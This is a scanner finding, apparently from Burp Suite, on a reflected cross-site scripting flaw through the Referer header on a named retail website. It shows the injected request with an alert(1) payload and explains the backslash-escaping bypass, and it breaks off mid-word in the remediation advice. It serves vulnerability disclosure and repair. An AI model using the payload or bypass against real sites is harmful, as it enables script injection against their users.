GET /default.aspx HTTP/1.1 Host: www.personalcreations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=cf382\"%3balert(1)//f6c1d92f3a8
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36981\"%3balert(1)//997195d5292 was submitted in the Referer HTTP header. This input was echoed as 36981\\";alert(1)//997195d5292 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two ba